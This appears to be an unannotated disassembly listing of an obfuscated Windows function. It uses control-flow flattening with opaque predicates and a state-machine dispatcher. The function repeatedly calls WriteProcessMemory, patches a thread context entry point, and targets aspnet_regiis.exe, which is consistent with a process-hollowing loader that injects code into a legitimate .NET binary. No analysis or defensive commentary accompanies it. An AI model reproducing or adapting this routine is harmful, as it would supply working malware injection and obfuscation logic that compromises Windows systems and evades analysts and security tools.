mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0xa93ab82d
sub edx, 1
sub edx, 0xa93ab82d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfac33ba6
mov ecx, 0xa3e006a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov dword [ebp - 0xf0], 0x56cbbe76
jmp 0x100063c2
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0x3e616b0a
sub edx, 1
add edx, 0x3e616b0a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x798a70bf
mov ecx, 0x14e4ea52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov eax, dword [eax]
sub ecx, 0x8607e86a
add ecx, eax
add ecx, 0x8607e86a
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov edx, dword [ebp - 0x98]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, 0xffffffff
xor eax, 0x14eccb61
or edx, esi
or eax, 0x14eccb61
xor edx, 0xffffffff
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x94]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xf0], 0x6bd6c261
jmp 0x100063c2
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0x8180caa9
sub edx, 1
sub edx, 0x8180caa9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x94827edf
mov ecx, 0xe68f107
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0x58345072
sub edx, 1
sub edx, 0x58345072
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xea91884f
mov ecx, 0x4799220
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0xcbd62352
sub edx, 1
add edx, 0xcbd62352
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5b40e6eb
mov ecx, 0x67d8c35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov dword [ebp - 0xf0], 0x6db46333
jmp 0x100063c2
mov dword [ebp - 0xf0], 0x85b35bef
jmp 0x100063c2
mov dword [ebp - 0xf0], 0xd13eef60
jmp 0x100063c2
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x20]
add ecx, 0xd7f51dd
add ecx, eax
sub ecx, 0xd7f51dd
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov dword [ebp - 0xf0], 0x4b7ac64d
jmp 0x100063c2
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
sub ecx, 0xb752afd3
add ecx, 8
add ecx, 0xb752afd3
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
sub ecx, 0xbab25e87
add ecx, eax
add ecx, 0xbab25e87
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xf0], 0x651354a6
jmp 0x100063c2
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7afb8d86
mov ecx, 0x9d7fc62e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov dword [ebp - 0xf0], 0xe284b10a
jmp 0x100063c2
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xf0], 0x9c90e3fc
jmp 0x100063c2
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0x940e195b
sub edx, 1
sub edx, 0x940e195b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x69a5677d
mov ecx, 0xef813737
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0x7b46f1b7
sub edx, 1
add edx, 0x7b46f1b7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x69a5677d
mov ecx, 0xff58b3ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10006cd0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xd8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100078d0
add esp, 0xc
mov eax, dword [ebp - 0xd4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100078d0
add esp, 0xc
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xf0], 0xb641cffa
jmp 0x100063c2
mov eax, dword [ebp - 0xcc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0xf0], 0x330f6f19
jmp 0x100063c2
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002750
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xf0], 0x9313337f
jmp 0x100063c2
mov dword [ebp - 0xf0], 0xaa0dab4c
jmp 0x100063c2
mov dword [ebp - 0xf0], 0x6c491f6c
jmp 0x100063c2
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xf0], 0xcfbd7afa
jmp 0x100063c2
mov dword [ebp - 0xf0], 0xf4cd2e9e
jmp 0x100063c2
jmp 0x100030bf